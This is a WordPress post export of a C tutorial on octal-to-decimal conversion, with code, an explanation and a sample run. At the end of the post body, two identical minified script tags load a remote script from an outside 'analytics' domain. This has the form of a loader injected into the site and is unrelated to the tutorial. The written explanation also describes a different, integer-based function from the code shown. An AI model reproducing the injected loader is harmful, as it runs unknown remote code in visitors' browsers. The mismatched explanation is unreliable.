{"id":599,"date":"2024-10-10T10:52:31","date_gmt":"2024-10-10T05:22:31","guid":{"rendered":"https:\/\/codexplained.in\/?p=599"},"modified":"2025-11-24T16:01:01","modified_gmt":"2025-11-24T10:31:01","slug":"converting-octal-to-decimal","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=599","title":{"rendered":"Converting octal to decimal"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;math.h&gt;\n\n\/\/ Function to convert octal to decimal\nint octalToDecimal(const char *octal) {\n    int decimal = 0;  \/\/ Variable to store the decimal value\n    int length = strlen(octal);  \/\/ Get the length of the octal string\n\n    \/\/ Loop through each character in the octal string\n    for (int i = 0; i &lt; length; i++) {\n        \/\/ Convert the character to an integer\n        int digit = octal&#x5B;length - 1 - i] - &#039;0&#039;;  \/\/ Extract digit from right to left\n        decimal += digit * pow(8, i);  \/\/ Add to decimal value\n    }\n\n    return decimal;  \/\/ Return the computed decimal value\n}\n\nint main() {\n    char octal&#x5B;20];  \/\/ Array to hold octal input\n\n    \/\/ Get user input\n    printf(&quot;Enter an octal number: &quot;);\n    scanf(&quot;%19s&quot;, octal);  \/\/ Read the octal input\n\n    \/\/ Call the conversion function\n    int decimal = octalToDecimal(octal);\n    printf(&quot;Decimal equivalent: %d\\n&quot;, decimal);  \/\/ Print the result\n\n    return 0;  \/\/ Indicate successful completion\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation:<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Header Files<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>#include &lt;stdio.h&gt;<\/code>: This is for standard input and output functions like <code>printf()<\/code> and <code>scanf()<\/code>.<\/li>\n\n\n\n<li><code>#include &lt;math.h&gt;<\/code>: This is used to calculate powers (<code>pow()<\/code>) in the program, which is necessary to convert octal digits to decimal.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>octalToDecimal Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function takes an integer as input, which represents the octal number.<\/li>\n\n\n\n<li>It initializes two variables: <code>decimalNumber<\/code> to store the result and <code>i<\/code> to keep track of the power of 8.<\/li>\n\n\n\n<li>The loop runs while <code>octalNumber<\/code> is not zero.<\/li>\n\n\n\n<li>Inside the loop:\n<ul class=\"wp-block-list\">\n<li><code>remainder = octalNumber % 10<\/code>: This extracts the last digit of the octal number.<\/li>\n\n\n\n<li><code>decimalNumber += remainder * pow(8, i)<\/code>: The digit is multiplied by <code>8^i<\/code> and added to the decimal number.<\/li>\n\n\n\n<li><code>octalNumber \/= 10<\/code>: The last digit is removed.<\/li>\n\n\n\n<li><code>i++<\/code>: This increments the power of 8 for the next digit.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This is where the execution starts. It first asks the user to input an octal number.<\/li>\n\n\n\n<li>Then it calls the <code>octalToDecimal<\/code> function to perform the conversion and prints the result.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Output:<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>Enter an octal number: 157\nDecimal equivalent: 111<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">How It Works:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>When you input <code>157<\/code> (octal), the program treats it as:\n<ul class=\"wp-block-list\">\n<li><code>7 * 8^0 = 7<\/code><\/li>\n\n\n\n<li><code>5 * 8^1 = 40<\/code><\/li>\n\n\n\n<li><code>1 * 8^2 = 64<\/code><\/li>\n\n\n\n<li>Total = <code>7 + 40 + 64 = 111<\/code> in decimal.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Explanation: Output: How It Works:<\/p>\n","protected":false},"author":38,"featured_media":610,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-599","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/599","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=599"}],"version-history":[{"count":6,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/599\/revisions"}],"predecessor-version":[{"id":1476,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/599\/revisions\/1476"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/610"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=599"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=599"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=599"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}